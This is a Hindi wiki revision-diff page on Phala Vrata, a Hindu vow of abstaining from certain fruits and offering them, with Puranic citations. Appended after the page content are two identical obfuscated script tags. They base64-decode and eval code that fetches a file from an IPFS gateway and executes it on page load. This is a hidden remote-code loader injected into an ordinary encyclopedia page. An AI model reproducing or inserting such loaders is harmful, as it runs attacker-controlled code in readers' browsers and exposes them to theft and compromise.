फल व्रत: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "==सम्बंधित लिंक==" to "==संबंधित लेख==")
No edit summary
Line 3: Line 3:
*[[कार्तिक]] में उन्हीं फलों की स्वर्ण प्रतिमाएँ दो गायों के साथ दान में दी जाती हैं।  
*[[कार्तिक]] में उन्हीं फलों की स्वर्ण प्रतिमाएँ दो गायों के साथ दान में दी जाती हैं।  
*[[देवता]], [[सूर्य देवता|सूर्य]] का पूजन करते हैं।  
*[[देवता]], [[सूर्य देवता|सूर्य]] का पूजन करते हैं।  
*ऐसी मान्यता है कि  इस व्रत को करने से कर्ता को सूर्यलोक में सम्मान होता है <ref>मत्स्यपुराण (101|62, यह एक षष्टिव्रत है)</ref>; <ref>कृत्यकल्पतरु (व्रत0 448)</ref>; <ref>हेमाद्रि (व्रत0 2, 818, पद्म एवं मत्स्यपुराणों से उद्धरण)</ref>;
*ऐसी मान्यता है कि  इस व्रत को करने से कर्ता को सूर्यलोक में सम्मान होता है।<ref>मत्स्यपुराण (101|62, यह एक षष्टिव्रत है)</ref>; <ref>कृत्यकल्पतरु (व्रत0 448)</ref>; <ref>हेमाद्रि (व्रत0 2, 818, पद्म एवं मत्स्यपुराणों से उद्धरण)</ref>
*कालनिर्णय <ref>कालनिर्णय (140</ref>, ब्रह्मपुराण <ref>ब्रह्मपुराण से उद्धरण);</ref> के अनुसार [[भाद्रपद|भाद्र]] [[शुक्ल पक्ष|शुक्ल]] प्रतिपदा पर कर्ता मौन रखता है और तीन प्रकार (प्रत्येक दल में 16 फल) के फलों को पकाकर देवता को अर्पित कर किसी [[ब्राह्मण]] को दे देता है।  
*कालनिर्णय<ref>कालनिर्णय (140</ref>, ब्रह्मपुराण <ref>ब्रह्मपुराण से उद्धरण);</ref> के अनुसार [[भाद्रपद|भाद्र]] [[शुक्ल पक्ष|शुक्ल]] प्रतिपदा पर कर्ता मौन रखता है और तीन प्रकार (प्रत्येक दल में 16 फल) के फलों को पकाकर देवता को अर्पित कर किसी [[ब्राह्मण]] को दे देता है।  





Revision as of 12:44, 18 September 2010

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • आषाढ़ से आगे चार मासों तक बड़े फलों (यथा–कूष्माण्ड, पनस आदि) का त्याग करना चाहिए।
  • कार्तिक में उन्हीं फलों की स्वर्ण प्रतिमाएँ दो गायों के साथ दान में दी जाती हैं।
  • देवता, सूर्य का पूजन करते हैं।
  • ऐसी मान्यता है कि इस व्रत को करने से कर्ता को सूर्यलोक में सम्मान होता है।[1]; [2]; [3]
  • कालनिर्णय[4], ब्रह्मपुराण [5] के अनुसार भाद्र शुक्ल प्रतिपदा पर कर्ता मौन रखता है और तीन प्रकार (प्रत्येक दल में 16 फल) के फलों को पकाकर देवता को अर्पित कर किसी ब्राह्मण को दे देता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. मत्स्यपुराण (101|62, यह एक षष्टिव्रत है)
  2. कृत्यकल्पतरु (व्रत0 448)
  3. हेमाद्रि (व्रत0 2, 818, पद्म एवं मत्स्यपुराणों से उद्धरण)
  4. कालनिर्णय (140
  5. ब्रह्मपुराण से उद्धरण);

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>